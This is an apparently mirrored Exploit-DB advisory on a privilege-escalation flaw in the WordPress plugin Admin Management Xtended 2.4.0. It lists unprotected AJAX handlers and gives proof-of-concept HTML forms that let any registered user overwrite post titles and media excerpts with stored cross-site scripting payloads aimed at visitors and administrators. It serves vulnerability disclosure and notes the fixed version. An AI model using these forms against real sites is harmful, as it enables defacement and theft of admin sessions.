WordPress Plugin Admin Management Xtended 2.4.0 – Privilege escalation

  • 作者: Kacper Szurek
    日期: 2015-12-14
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  • 来源:https://www.exploit-db.com/exploits/38966/
  • # Exploit Title: Admin Management Xtended 2.4.0 Privilege escalation
    # Date: 14-12-2015
    # Software Link: https://wordpress.org/plugins/admin-management-xtended/
    # Exploit Author: Kacper Szurek
    # Contact: http://twitter.com/KacperSzurek
    # Website: http://security.szurek.pl/
    # Category: webapps
     
    1. Description
     
    Inside almost all wp_ajax function there is no privilege check.
    
    File: admin-management-xtended\general-functions.php
    
    add_action( 'wp_ajax_ame_toggle_visibility', 'ame_toggle_visibility' );
    add_action( 'wp_ajax_ame_set_date', 'ame_set_date' );
    add_action( 'wp_ajax_ame_save_title', 'ame_save_title' );
    add_action( 'wp_ajax_ame_save_slug', 'ame_save_slug' );
    add_action( 'wp_ajax_ame_slug_edit', 'ame_slug_edit' );
    add_action( 'wp_ajax_ame_save_order', 'ame_save_order' );
    add_action( 'wp_ajax_ame_toggle_orderoptions', 'ame_toggle_orderoptions' );
    add_action( 'wp_ajax_ame_toggle_showinvisposts', 'ame_toggle_showinvisposts' );
    add_action( 'wp_ajax_ame_get_pageorder', 'ame_get_pageorder' );
    add_action( 'wp_ajax_ame_ajax_save_categories', 'ame_ajax_save_categories' );
    add_action( 'wp_ajax_ame_ajax_get_categories', 'ame_ajax_get_categories' );
    add_action( 'wp_ajax_ame_ajax_set_commentstatus', 'ame_ajax_set_commentstatus' );
    add_action( 'wp_ajax_ame_ajax_save_tags', 'ame_ajax_save_tags' );
    add_action( 'wp_ajax_ame_ajax_toggle_imageset', 'ame_ajax_toggle_imageset' );
    add_action( 'wp_ajax_ame_ajax_save_mediadesc', 'ame_ajax_save_mediadesc' );
    add_action( 'wp_ajax_ame_author_edit', 'ame_author_edit' );
    add_action( 'wp_ajax_ame_save_author', 'ame_save_author' );
    add_action( 'wp_ajax_ame_toggle_excludestatus', 'ame_toggle_excludestatus' );
    add_action( 'wp_ajax_ame_toggle_sticky', 'ame_toggle_sticky' );
    
    http://security.szurek.pl/admin-management-xtended-240-privilege-escalation.html
    
    2. Proof of Concept
    
    Login as regular user (created using wp-login.php?action=register). Then you can change any post title:
    
    <form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_save_title">
    Post id: <input type="text" name="category_id" value="1">
    Post title: <input type="text" name="new_title" value="<script>alert(document.cookie);</script>">
    <input type="submit" name="submit" value="Change">
    </form>
    
    XSS will be visible on post page:
    
    http://wordpress-url/?p=1
    
    Or change media excerpt:
    
    <form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_ajax_save_mediadesc">
    Post id: <input type="text" name="postid" value="1">
    Excerpt: <input type="text" name="new_mediadesc" value="<script>alert(document.cookie);</script>">
    <input type="submit" name="submit" value="Change">
    </form>
    
    XSS will be visible for admin:
    
    http://wordpress-url/wp-admin/upload.php
    
    3. Solution:
     
    Update to version 2.4.0.1